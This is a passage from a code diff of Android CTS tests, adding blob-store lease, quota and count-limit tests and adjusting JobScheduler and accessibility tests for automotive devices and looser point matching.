+        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        blobData.prepare();
+
+        final StorageStatsManager storageStatsManager = mContext.getSystemService(
+                StorageStatsManager.class);
+        StorageStats beforeStatsForPkg = storageStatsManager
+                .queryStatsForPackage(UUID_DEFAULT, mContext.getPackageName(), mContext.getUser());
+        StorageStats beforeStatsForUid = storageStatsManager
+                .queryStatsForUid(UUID_DEFAULT, Process.myUid());
+
+        commitBlob(blobData);
+
+        StorageStats afterStatsForPkg = storageStatsManager
+                .queryStatsForPackage(UUID_DEFAULT, mContext.getPackageName(), mContext.getUser());
+        StorageStats afterStatsForUid = storageStatsManager
+                .queryStatsForUid(UUID_DEFAULT, Process.myUid());
+
+        // No leases on the blob, so it should not be attributed.
+        assertThat(afterStatsForPkg.getDataBytes() - beforeStatsForPkg.getDataBytes())
+                .isEqualTo(0L);
+        assertThat(afterStatsForUid.getDataBytes() - beforeStatsForUid.getDataBytes())
+                .isEqualTo(0L);
+
+        final long leaseExpiryDurationMs = TimeUnit.SECONDS.toMillis(5);
+        acquireLease(mContext, blobData.getBlobHandle(), R.string.test_desc,
+                System.currentTimeMillis() + leaseExpiryDurationMs);
+
+        final long startTimeMs = System.currentTimeMillis();
+        afterStatsForPkg = storageStatsManager
+                .queryStatsForPackage(UUID_DEFAULT, mContext.getPackageName(), mContext.getUser());
+        afterStatsForUid = storageStatsManager
+                .queryStatsForUid(UUID_DEFAULT, Process.myUid());
+
+        assertThat(afterStatsForPkg.getDataBytes() - beforeStatsForPkg.getDataBytes())
+                .isEqualTo(blobData.getFileSize());
+        assertThat(afterStatsForUid.getDataBytes() - beforeStatsForUid.getDataBytes())
+                .isEqualTo(blobData.getFileSize());
+
+        waitForLeaseExpiration(
+                Math.abs(leaseExpiryDurationMs - (System.currentTimeMillis() - startTimeMs)),
+                blobData.getBlobHandle());
+
+        afterStatsForPkg = storageStatsManager
+                .queryStatsForPackage(UUID_DEFAULT, mContext.getPackageName(), mContext.getUser());
+        afterStatsForUid = storageStatsManager
+                .queryStatsForUid(UUID_DEFAULT, Process.myUid());
+
+        // Lease is expired, so it should not be attributed anymore.
+        assertThat(afterStatsForPkg.getDataBytes() - beforeStatsForPkg.getDataBytes())
+                .isEqualTo(0L);
+        assertThat(afterStatsForUid.getDataBytes() - beforeStatsForUid.getDataBytes())
+                .isEqualTo(0L);
+
+        blobData.delete();
+    }
+
+    @Test
     public void testLeaseQuotaExceeded() throws Exception {
         final long totalBytes = Environment.getDataDirectory().getTotalSpace();
         final long limitBytes = 100 * Utils.MB_IN_BYTES;
@@ -970,6 +1297,36 @@
     }
 
     @Test
+    public void testLeaseQuotaExceeded_withExpiredLease() throws Exception {
+        final long totalBytes = Environment.getDataDirectory().getTotalSpace();
+        final long limitBytes = 50 * Utils.MB_IN_BYTES;
+        final long waitDurationMs = TimeUnit.SECONDS.toMillis(2);
+        runWithKeyValues(() -> {
+            final DummyBlobData blobData1 = new DummyBlobData.Builder(mContext)
+                    .setFileSize(40 * Utils.MB_IN_BYTES)
+                    .build();
+            blobData1.prepare();
+            final DummyBlobData blobData2 = new DummyBlobData.Builder(mContext)
+                    .setFileSize(30 * Utils.MB_IN_BYTES)
+                    .build();
+            blobData2.prepare();
+
+            commitBlob(blobData1);
+            commitBlob(blobData2);
+            acquireLease(mContext, blobData1.getBlobHandle(), R.string.test_desc,
+                    System.currentTimeMillis() + waitDurationMs);
+
+            assertThrows(LimitExceededException.class, () -> mBlobStoreManager.acquireLease(
+                    blobData2.getBlobHandle(), R.string.test_desc));
+
+            waitForLeaseExpiration(waitDurationMs, blobData1.getBlobHandle());
+            acquireLease(mContext, blobData2.getBlobHandle(), R.string.test_desc);
+        }, Pair.create(KEY_TOTAL_BYTES_PER_APP_LIMIT_FLOOR, String.valueOf(limitBytes)),
+                Pair.create(KEY_TOTAL_BYTES_PER_APP_LIMIT_FRACTION,
+                        String.valueOf((double) limitBytes / totalBytes)));
+    }
+
+    @Test
     public void testRemainingLeaseQuota() throws Exception {
         final long initialRemainingQuota = mBlobStoreManager.getRemainingLeaseQuotaBytes();
         final long blobSize = 100 * Utils.MB_IN_BYTES;
@@ -994,6 +1351,31 @@
     }
 
     @Test
+    public void testRemainingLeaseQuota_withExpiredLease() throws Exception {
+        final long initialRemainingQuota = mBlobStoreManager.getRemainingLeaseQuotaBytes();
+        final long blobSize = 100 * Utils.MB_IN_BYTES;
+        final DummyBlobData blobData = new DummyBlobData.Builder(mContext)
+                .setFileSize(blobSize)
+                .build();
+        blobData.prepare();
+
+        final long waitDurationMs = TimeUnit.SECONDS.toMillis(2);
+        commitBlob(blobData);
+        acquireLease(mContext, blobData.getBlobHandle(), R.string.test_desc,
+                System.currentTimeMillis() + waitDurationMs);
+        assertLeasedBlobs(mBlobStoreManager, blobData.getBlobHandle());
+
+        assertThat(mBlobStoreManager.getRemainingLeaseQuotaBytes())
+                .isEqualTo(initialRemainingQuota - blobSize);
+
+        waitForLeaseExpiration(waitDurationMs, blobData.getBlobHandle());
+        assertNoLeasedBlobs(mBlobStoreManager);
+
+        assertThat(mBlobStoreManager.getRemainingLeaseQuotaBytes())
+                .isEqualTo(initialRemainingQuota);
+    }
+
+    @Test
     public void testAccessExpiredBlob() throws Exception {
         final long expiryDurationMs = TimeUnit.SECONDS.toMillis(6);
         final DummyBlobData blobData = new DummyBlobData.Builder(mContext)
@@ -1045,6 +1427,40 @@
     }
 
     @Test
+    public void testAccessBlob_withExpiredLease() throws Exception {
+        final long leaseExpiryDurationMs = TimeUnit.SECONDS.toMillis(2);
+        final long leaseAcquisitionWaitDurationMs = TimeUnit.SECONDS.toMillis(1);
+        runWithKeyValues(() -> {
+            final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+            blobData.prepare();
+            try {
+                final long blobId = commitBlob(blobData);
+                assertThat(runShellCmd("cmd blob_store query-blob-existence -b " + blobId))
+                        .isEqualTo("1");
+
+                acquireLease(mContext, blobData.getBlobHandle(), R.string.test_desc,
+                        System.currentTimeMillis() + leaseExpiryDurationMs);
+                assertLeasedBlobs(mBlobStoreManager, blobData.getBlobHandle());
+
+                waitForLeaseExpiration(leaseExpiryDurationMs, blobData.getBlobHandle());
+                assertNoLeasedBlobs(mBlobStoreManager);
+
+                triggerIdleMaintenance();
+                assertThat(runShellCmd("cmd blob_store query-blob-existence -b " + blobId))
+                        .isEqualTo("0");
+
+                assertThrows(SecurityException.class, () -> mBlobStoreManager.acquireLease(
+                        blobData.getBlobHandle(), R.string.test_desc,
+                        blobData.getExpiryTimeMillis()));
+                assertNoLeasedBlobs(mBlobStoreManager);
+            } finally {
+                blobData.delete();
+            }
+        }, Pair.create(KEY_LEASE_ACQUISITION_WAIT_DURATION_MS,
+                String.valueOf(leaseAcquisitionWaitDurationMs)));
+    }
+
+    @Test
     public void testCommitBlobAfterIdleMaintenance() throws Exception {
         final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
         blobData.prepare();
@@ -1054,7 +1470,7 @@
         assertThat(sessionId).isGreaterThan(0L);
 
         try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
-            blobData.writeToSession(session, 0, partialFileSize);
+            blobData.writeToSession(session, 0, partialFileSize, blobData.getFileSize());
         }
 
         SystemClock.sleep(waitDurationMs);
@@ -1064,7 +1480,7 @@
 
         try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
             blobData.writeToSession(session, partialFileSize,
-                    blobData.getFileSize() - partialFileSize);
+                    blobData.getFileSize() - partialFileSize, blobData.getFileSize());
             final CompletableFuture<Integer> callback = new CompletableFuture<>();
             session.commit(mContext.getMainExecutor(), callback::complete);
             assertThat(callback.get(TIMEOUT_COMMIT_CALLBACK_SEC, TimeUnit.SECONDS))
@@ -1074,10 +1490,11 @@
 
     @Test
     public void testExpiredSessionsDeleted() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
-        blobData.prepare();
         final long waitDurationMs = TimeUnit.SECONDS.toMillis(2);
         runWithKeyValues(() -> {
+            final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+            blobData.prepare();
+
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
             assertThat(sessionId).isGreaterThan(0L);
 
@@ -1092,15 +1509,16 @@
 
     @Test
     public void testExpiredSessionsDeleted_withPartialData() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
-        blobData.prepare();
         final long waitDurationMs = TimeUnit.SECONDS.toMillis(2);
         runWithKeyValues(() -> {
+            final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+            blobData.prepare();
+
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
             assertThat(sessionId).isGreaterThan(0L);
 
             try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
-                blobData.writeToSession(session, 0, 100);
+                blobData.writeToSession(session, 0, 100, blobData.getFileSize());
             }
 
             SystemClock.sleep(waitDurationMs);
@@ -1112,6 +1530,164 @@
         }, Pair.create(KEY_SESSION_EXPIRY_TIMEOUT_MS, String.valueOf(waitDurationMs)));
     }
 
+    @Test
+    public void testCreateSession_countLimitExceeded() throws Exception {
+        runWithKeyValues(() -> {
+            final DummyBlobData blobData1 = new DummyBlobData.Builder(mContext).build();
+            blobData1.prepare();
+            final DummyBlobData blobData2 = new DummyBlobData.Builder(mContext).build();
+            blobData2.prepare();
+
+            mBlobStoreManager.createSession(blobData1.getBlobHandle());
+            assertThrows(LimitExceededException.class,
+                    () -> mBlobStoreManager.createSession(blobData2.getBlobHandle()));
+        }, Pair.create(KEY_MAX_ACTIVE_SESSIONS, String.valueOf(1)));
+    }
+
+    @Test
+    public void testCommitSession_countLimitExceeded() throws Exception {
+        runWithKeyValues(() -> {
+            final DummyBlobData blobData1 = new DummyBlobData.Builder(mContext).build();
+            blobData1.prepare();
+            final DummyBlobData blobData2 = new DummyBlobData.Builder(mContext).build();
+            blobData2.prepare();
+
+            commitBlob(blobData1, null /* accessModifier */, 0 /* expectedResult */);
+            commitBlob(blobData2, null /* accessModifier */, 1 /* expectedResult */);
+        }, Pair.create(KEY_MAX_COMMITTED_BLOBS, String.valueOf(1)));
+    }
+
+    @Test
+    public void testLeaseBlob_countLimitExceeded() throws Exception {
+        runWithKeyValues(() -> {
+            final DummyBlobData blobData1 = new DummyBlobData.Builder(mContext).build();
+            blobData1.prepare();
+            final DummyBlobData blobData2 = new DummyBlobData.Builder(mContext).build();
+            blobData2.prepare();
+
+            commitBlob(blobData1);
+            commitBlob(blobData2);
+
+            acquireLease(mContext, blobData1.getBlobHandle(), "test desc");
+            assertThrows(LimitExceededException.class,
+                    () -> acquireLease(mContext, blobData2.getBlobHandle(), "test desc"));
+        }, Pair.create(KEY_MAX_LEASED_BLOBS, String.valueOf(1)));
+    }
+
+    @Test
+    public void testExpiredLease_countLimitExceeded() throws Exception {
+        runWithKeyValues(() -> {
+            final DummyBlobData blobData1 = new DummyBlobData.Builder(mContext).build();
+            blobData1.prepare();
+            final DummyBlobData blobData2 = new DummyBlobData.Builder(mContext).build();
+            blobData2.prepare();
+            final DummyBlobData blobData3 = new DummyBlobData.Builder(mContext).build();
+            blobData3.prepare();
+            final long waitDurationMs = TimeUnit.SECONDS.toMillis(2);
+
+            commitBlob(blobData1);
+            commitBlob(blobData2);
+            commitBlob(blobData3);
+
+            acquireLease(mContext, blobData1.getBlobHandle(), "test desc1",
+                    System.currentTimeMillis() + waitDurationMs);
+            assertThrows(LimitExceededException.class,
+                    () -> acquireLease(mContext, blobData2.getBlobHandle(), "test desc2",
+                            System.currentTimeMillis() + TimeUnit.HOURS.toMillis(4)));
+
+            waitForLeaseExpiration(waitDurationMs, blobData1.getBlobHandle());
+
+            acquireLease(mContext, blobData2.getBlobHandle(), "test desc2",
+                    System.currentTimeMillis() + TimeUnit.HOURS.toMillis(4));
+            assertThrows(LimitExceededException.class,
+                    () -> acquireLease(mContext, blobData3.getBlobHandle(), "test desc3"));
+        }, Pair.create(KEY_MAX_LEASED_BLOBS, String.valueOf(1)));
+    }
+
+    @Test
+    public void testAllowPackageAccess_countLimitExceeded() throws Exception {
+        runWithKeyValues(() -> {
+            final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+            blobData.prepare();
+
+            final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
+            assertThat(sessionId).isGreaterThan(0L);
+            try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
+                blobData.writeToSession(session);
+
+                session.allowPackageAccess(HELPER_PKG2, HELPER_PKG2_CERT_SHA256);
+                assertThrows(LimitExceededException.class,
+                        () -> session.allowPackageAccess(HELPER_PKG3, HELPER_PKG3_CERT_SHA256));
+            }
+        }, Pair.create(KEY_MAX_BLOB_ACCESS_PERMITTED_PACKAGES, String.valueOf(1)));
+    }
+
+    @Test
+    public void testBlobHandleEquality() throws Exception {
+        // Check that BlobHandle objects are considered equal when digest, label, expiry time
+        // and tag are equal.
+        {
+            final BlobHandle blobHandle1 = BlobHandle.createWithSha256("digest".getBytes(),
+                    "Dummy blob", 1111L, "tag");
+            final BlobHandle blobHandle2 = BlobHandle.createWithSha256("digest".getBytes(),
+                    "Dummy blob", 1111L, "tag");
+            assertThat(blobHandle1).isEqualTo(blobHandle2);
+        }
+
+        // Check that BlobHandle objects are not equal if digests are not equal.
+        {
+            final BlobHandle blobHandle1 = BlobHandle.createWithSha256("digest1".getBytes(),
+                    "Dummy blob", 1111L, "tag");
+            final BlobHandle blobHandle2 = BlobHandle.createWithSha256("digest2".getBytes(),
+                    "Dummy blob", 1111L, "tag");
+            assertThat(blobHandle1).isNotEqualTo(blobHandle2);
+        }
+
+        // Check that BlobHandle objects are not equal if expiry times are not equal.
+        {
+            final BlobHandle blobHandle1 = BlobHandle.createWithSha256("digest".getBytes(),
+                    "Dummy blob", 1111L, "tag");
+            final BlobHandle blobHandle2 = BlobHandle.createWithSha256("digest".getBytes(),
+                    "Dummy blob", 1112L, "tag");
+            assertThat(blobHandle1).isNotEqualTo(blobHandle2);
+        }
+
+        // Check that BlobHandle objects are not equal if labels are not equal.
+        {
+            final BlobHandle blobHandle1 = BlobHandle.createWithSha256("digest".getBytes(),
+                    "Dummy blob1", 1111L, "tag");
+            final BlobHandle blobHandle2 = BlobHandle.createWithSha256("digest".getBytes(),
+                    "Dummy blob2", 1111L, "tag");
+            assertThat(blobHandle1).isNotEqualTo(blobHandle2);
+        }
+
+        // Check that BlobHandle objects are not equal if tags are not equal.
+        {
+            final BlobHandle blobHandle1 = BlobHandle.createWithSha256("digest".getBytes(),
+                    "Dummy blob", 1111L, "tag1");
+            final BlobHandle blobHandle2 = BlobHandle.createWithSha256("digest".getBytes(),
+                    "Dummy blob", 1111L, "tag2");
+            assertThat(blobHandle1).isNotEqualTo(blobHandle2);
+        }
+    }
+
+    @Test
+    public void testBlobHandleCreation() throws Exception {
+        // Creating a BlobHandle with label > 100 chars will fail
+        {
+            final CharSequence label = String.join("", Collections.nCopies(101, "a"));
+            assertThrows(IllegalArgumentException.class,
+                    () -> BlobHandle.createWithSha256("digest".getBytes(), label, 1111L, "tag"));
+        }
+
+        // Creating a BlobHandle with tag > 128 chars will fail
+        {
+            final String tag = String.join("", Collections.nCopies(129, "a"));
+            assertThrows(IllegalArgumentException.class,
+                    () -> BlobHandle.createWithSha256("digest".getBytes(), "label", 1111L, tag));
+        }
+    }
+
     private static void runWithKeyValues(ThrowingRunnable runnable,
             Pair<String, String>... keyValues) throws Exception {
         final Map<String, String> previousValues = new ArrayMap();
@@ -1146,12 +1722,27 @@
         }
     }
 
+    private void commitAndVerifyBlob(DummyBlobData blobData) throws Exception {
+        commitBlob(blobData);
+
+        // Verify that blob can be accessed after committing.
+        try (ParcelFileDescriptor pfd = mBlobStoreManager.openBlob(blobData.getBlobHandle())) {
+            assertThat(pfd).isNotNull();
+            blobData.verifyBlob(pfd);
+        }
+    }
+
     private long commitBlob(DummyBlobData blobData) throws Exception {
         return commitBlob(blobData, null);
     }
 
     private long commitBlob(DummyBlobData blobData,
             AccessModifier accessModifier) throws Exception {
+        return commitBlob(blobData, accessModifier, 0 /* expectedResult */);
+    }
+
+    private long commitBlob(DummyBlobData blobData,
+            AccessModifier accessModifier, int expectedResult) throws Exception {
         final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
         assertThat(sessionId).isGreaterThan(0L);
         try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
@@ -1163,7 +1754,7 @@
             final CompletableFuture<Integer> callback = new CompletableFuture<>();
             session.commit(mContext.getMainExecutor(), callback::complete);
             assertThat(callback.get(TIMEOUT_COMMIT_CALLBACK_SEC, TimeUnit.SECONDS))
-                    .isEqualTo(0);
+                    .isEqualTo(expectedResult);
         }
         return sessionId;
     }
@@ -1234,6 +1825,12 @@
                 () -> commandReceiver.openBlob(blobData.getBlobHandle()));
     }
 
+    private void waitForLeaseExpiration(long waitDurationMs, BlobHandle leasedBlob)
+            throws Exception {
+        SystemClock.sleep(waitDurationMs);
+        assertThat(mBlobStoreManager.getLeaseInfo(leasedBlob)).isNull();
+    }
+
     private TestServiceConnection bindToHelperService(String pkg) throws Exception {
         final TestServiceConnection serviceConnection = new TestServiceConnection(mContext);
         final Intent intent = new Intent()
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/IdleConstraintTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/IdleConstraintTest.java
index 3551205..e75d109 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/IdleConstraintTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/IdleConstraintTest.java
@@ -168,7 +168,8 @@
     private boolean isCarModeSupported() {
         // TVs don't support car mode.
         return !getContext().getPackageManager().hasSystemFeature(
-                PackageManager.FEATURE_LEANBACK_ONLY);
+                PackageManager.FEATURE_LEANBACK_ONLY)
+                && !getContext().getSystemService(UiModeManager.class).isUiModeLocked();
     }
 
     /**
@@ -305,7 +306,6 @@
         if (!isCarModeSupported()) {
             return;
         }
-
         runIdleJobStartsOnlyWhenIdle();
 
         setCarMode(true);
@@ -314,6 +314,9 @@
     }
 
     public void testIdleJobStartsOnlyWhenIdle_screenEndsIdle() throws Exception {
+        if (!isCarModeSupported()) {
+            return;
+        }
         runIdleJobStartsOnlyWhenIdle();
 
         toggleScreenOn(true);
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
index c065b1e..b6d6120 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
@@ -24,6 +24,7 @@
 
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
 import android.app.AppOpsManager;
@@ -102,6 +103,8 @@
     private boolean mInitialAirplaneModeState;
     private String mInitialJobSchedulerConstants;
     private String mInitialDisplayTimeout;
+    private String mInitialRestrictedBucketEnabled;
+    private boolean mAutomotiveDevice;
 
     private TestAppInterface mTestAppInterface;
 
@@ -155,6 +158,8 @@
         mInitialAirplaneModeState = isAirplaneModeOn();
         mInitialJobSchedulerConstants = Settings.Global.getString(mContext.getContentResolver(),
                 Settings.Global.JOB_SCHEDULER_CONSTANTS);
+        mInitialRestrictedBucketEnabled = Settings.Global.getString(mContext.getContentResolver(),
+                Settings.Global.ENABLE_RESTRICTED_BUCKET);
         // Make sure test jobs can run regardless of bucket.
         Settings.Global.putString(mContext.getContentResolver(),
                 Settings.Global.JOB_SCHEDULER_CONSTANTS, "min_ready_non_active_jobs_count=0");
@@ -162,6 +167,15 @@
         mInitialDisplayTimeout =
                 Settings.System.getString(mContext.getContentResolver(), SCREEN_OFF_TIMEOUT);
         Settings.System.putString(mContext.getContentResolver(), SCREEN_OFF_TIMEOUT, "300000");
+
+        // In automotive device, always-on screen and endless battery charging are assumed.
+        mAutomotiveDevice =
+                mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+        if (mAutomotiveDevice) {
+            setScreenState(true);
+            // TODO(b/159176758): make sure that initial power supply is on.
+            BatteryUtils.runDumpsysBatterySetPluggedIn(true);
+        }
     }
 
     @Test
@@ -281,6 +295,9 @@
     @Test
     public void testJobsInRestrictedBucket_ParoleSession() throws Exception {
         assumeTrue("app standby not enabled", mAppStandbyEnabled);
+        assumeFalse("not testable in automotive device", mAutomotiveDevice);
+
+        setRestrictedBucketEnabled(true);
 
         // Disable coalescing
         Settings.Global.putString(mContext.getContentResolver(),
@@ -304,6 +321,9 @@
     @Test
     public void testJobsInRestrictedBucket_NoRequiredNetwork() throws Exception {
         assumeTrue("app standby not enabled", mAppStandbyEnabled);
+        assumeFalse("not testable in automotive device", mAutomotiveDevice);
+
+        setRestrictedBucketEnabled(true);
 
         // Disable coalescing and the parole session
         Settings.Global.putString(mContext.getContentResolver(),
@@ -339,9 +359,12 @@
     @Test
     public void testJobsInRestrictedBucket_WithRequiredNetwork() throws Exception {
         assumeTrue("app standby not enabled", mAppStandbyEnabled);
+        assumeFalse("not testable in automotive device", mAutomotiveDevice);
         assumeTrue(mHasWifi);
         ensureSavedWifiNetwork(mWifiManager);
 
+        setRestrictedBucketEnabled(true);
+
         // Disable coalescing and the parole session
         Settings.Global.putString(mContext.getContentResolver(),
                 Settings.Global.JOB_SCHEDULER_QUOTA_CONTROLLER_CONSTANTS,
@@ -386,6 +409,7 @@
     @Test
     public void testJobsInNeverApp() throws Exception {
         assumeTrue("app standby not enabled", mAppStandbyEnabled);
+        assumeFalse("not testable in automotive device", mAutomotiveDevice);
 
         BatteryUtils.runDumpsysBatteryUnplug();
         setTestPackageStandbyBucket(Bucket.NEVER);
@@ -396,6 +420,8 @@
 
     @Test
     public void testUidActiveBypassesStandby() throws Exception {
+        assumeFalse("not testable in automotive device", mAutomotiveDevice);
+
         BatteryUtils.runDumpsysBatteryUnplug();
         setTestPackageStandbyBucket(Bucket.NEVER);
         tempWhitelistTestApp(6_000);
@@ -407,6 +433,7 @@
 
     @Test
     public void testBatterySaverOff() throws Exception {
+        assumeFalse("not testable in automotive device", mAutomotiveDevice);
         BatteryUtils.assumeBatterySaverFeature();
 
         BatteryUtils.runDumpsysBatteryUnplug();
@@ -418,6 +445,7 @@
 
     @Test
     public void testBatterySaverOn() throws Exception {
+        assumeFalse("not testable in automotive device", mAutomotiveDevice);
         BatteryUtils.assumeBatterySaverFeature();
 
         BatteryUtils.runDumpsysBatteryUnplug();
@@ -429,6 +457,7 @@
 
     @Test
     public void testUidActiveBypassesBatterySaverOn() throws Exception {
+        assumeFalse("not testable in automotive device", mAutomotiveDevice);
         BatteryUtils.assumeBatterySaverFeature();
 
         BatteryUtils.runDumpsysBatteryUnplug();
@@ -441,6 +470,7 @@
 
     @Test
     public void testBatterySaverOnThenUidActive() throws Exception {
+        assumeFalse("not testable in automotive device", mAutomotiveDevice);
         BatteryUtils.assumeBatterySaverFeature();
 
         // Enable battery saver, and schedule a job. It shouldn't run.
@@ -481,6 +511,8 @@
         }
         Settings.Global.putString(mContext.getContentResolver(),
                 Settings.Global.JOB_SCHEDULER_CONSTANTS, mInitialJobSchedulerConstants);
+        Settings.Global.putString(mContext.getContentResolver(),
+                Settings.Global.ENABLE_RESTRICTED_BUCKET, mInitialRestrictedBucketEnabled);
         if (isAirplaneModeOn() != mInitialAirplaneModeState) {
             setAirplaneMode(mInitialAirplaneModeState);
         }
@@ -497,6 +529,11 @@
                 restricted ? AppOpsManager.MODE_IGNORED : AppOpsManager.MODE_ALLOWED);
     }
 
+    private void setRestrictedBucketEnabled(boolean enabled) {
+        Settings.Global.putString(mContext.getContentResolver(),
+                Settings.Global.ENABLE_RESTRICTED_BUCKET, enabled ? "1" : "0");
+    }
+
     private boolean isTestAppTempWhitelisted() throws Exception {
         final String output = mUiDevice.executeShellCommand("cmd deviceidle tempwhitelist").trim();
         for (String line : output.split("\n")) {
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
index aac61c4..10c7542 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
@@ -217,6 +217,7 @@
             return;
         }
 
+        float pointTolerance = 1f;
         PointF startPoint = new PointF(mStartPoint.x, mStartPoint.y);
         PointF endPoint = new PointF(mStartPoint.x + 10, mStartPoint.y + 20);
         int gestureTime = 500;
@@ -229,8 +230,9 @@
 
         MotionEvent downEvent = mMotionEvents.get(0);
         MotionEvent upEvent = mMotionEvents.get(numEvents - 1);
-        assertThat(downEvent, both(IS_ACTION_DOWN).and(isAtPoint(startPoint)));
-        assertThat(upEvent, both(IS_ACTION_UP).and(isAtPoint(endPoint)));
+        assertThat(downEvent, both(IS_ACTION_DOWN).and(isAtPoint(startPoint,
+                    pointTolerance)));
+        assertThat(upEvent, both(IS_ACTION_UP).and(isAtPoint(endPoint, pointTolerance)));
         assertEquals(gestureTime, upEvent.getEventTime() - downEvent.getEventTime());
 
         long lastEventTime = downEvent.getEventTime();
@@ -240,8 +242,9 @@
             float fractionOfSwipe =
                     ((float) (moveEvent.getEventTime() - downEvent.getEventTime())) / gestureTime;
             PointF intermediatePoint = add(startPoint,
-                    ceil(times(fractionOfSwipe, diff(endPoint, startPoint))));
-            assertThat(moveEvent, both(IS_ACTION_MOVE).and(isAtPoint(intermediatePoint)));
+                    times(fractionOfSwipe, diff(endPoint, startPoint)));
+            assertThat(moveEvent, both(IS_ACTION_MOVE).and(
+                isAtPoint(intermediatePoint, pointTolerance)));
             lastEventTime = moveEvent.getEventTime();
         }
     }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextActionTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextActionTest.java
index b2fc2c5..566ccac 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextActionTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextActionTest.java
@@ -259,7 +259,7 @@
 
         ReplacementSpan replacementSpanFromA11y = findSingleSpanInViewWithText(R.string.a_b,
                 ReplacementSpan.class);
-        
+
         assertEquals(contentDescription, replacementSpanFromA11y.getContentDescription());
     }
 
@@ -480,8 +480,8 @@
         final int expectedHeightInPx = textView.getLayoutParams().height;
         final float expectedTextSize = textView.getTextSize();
         final float newTextSize = 20f;
-        final float expectedNewTextSize = (int) (0.5f + TypedValue.applyDimension(
-                TypedValue.COMPLEX_UNIT_SP, newTextSize, displayMetrics));
+        final float expectedNewTextSize = TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_SP,
+                newTextSize, displayMetrics);
         makeTextViewVisibleAndSetText(textView, stringToSet);
 
         final AccessibilityNodeInfo info = sUiAutomation.getRootInActiveWindow()
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
index b37358f..252fbcb 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
@@ -150,11 +150,13 @@
     }
 
     private final AccessibilityEventFilter mDividerPresentFilter = (event) ->
-            (event.getEventType() == AccessibilityEvent.TYPE_WINDOWS_CHANGED)
+            (event.getEventType() == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED
+                    || event.getEventType() == TYPE_WINDOWS_CHANGED)
                     && isDividerWindowPresent();
 
     private final AccessibilityEventFilter mDividerAbsentFilter = (event) ->
-            (event.getEventType() == AccessibilityEvent.TYPE_WINDOWS_CHANGED)
+            (event.getEventType() == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED
+                    || event.getEventType() == TYPE_WINDOWS_CHANGED)
                     && !isDividerWindowPresent();
 
     @MediumTest
@@ -700,11 +702,14 @@
     }
 
     private boolean isDividerWindowPresent() {
-        List<AccessibilityWindowInfo> windows = sUiAutomation.getWindows();
+        final List<AccessibilityWindowInfo> windows = sUiAutomation.getWindows();
         final int windowCount = windows.size();
         for (int i = 0; i < windowCount; i++) {
-            AccessibilityWindowInfo window = windows.get(i);
-            if (window.getType() == AccessibilityWindowInfo.TYPE_SPLIT_SCREEN_DIVIDER) {
+            final AccessibilityWindowInfo window = windows.get(i);
+            final AccessibilityNodeInfo rootNode = window.getRoot();
+            if (window.getType() == AccessibilityWindowInfo.TYPE_SPLIT_SCREEN_DIVIDER &&
+                    rootNode != null &&
+                    rootNode.isVisibleToUser()) {
                 return true;
             }
         }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
index 8393012..c64eaa3 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
@@ -51,6 +51,7 @@
 import android.graphics.PointF;
 import android.platform.test.annotations.AppModeFull;
 import android.provider.Settings;
+import android.view.ViewConfiguration;
 import android.widget.TextView;
 
 import androidx.test.InstrumentationRegistry;
@@ -105,7 +106,6 @@
     @Before
     public void setUp() throws Exception {
         mInstrumentation = InstrumentationRegistry.getInstrumentation();
-
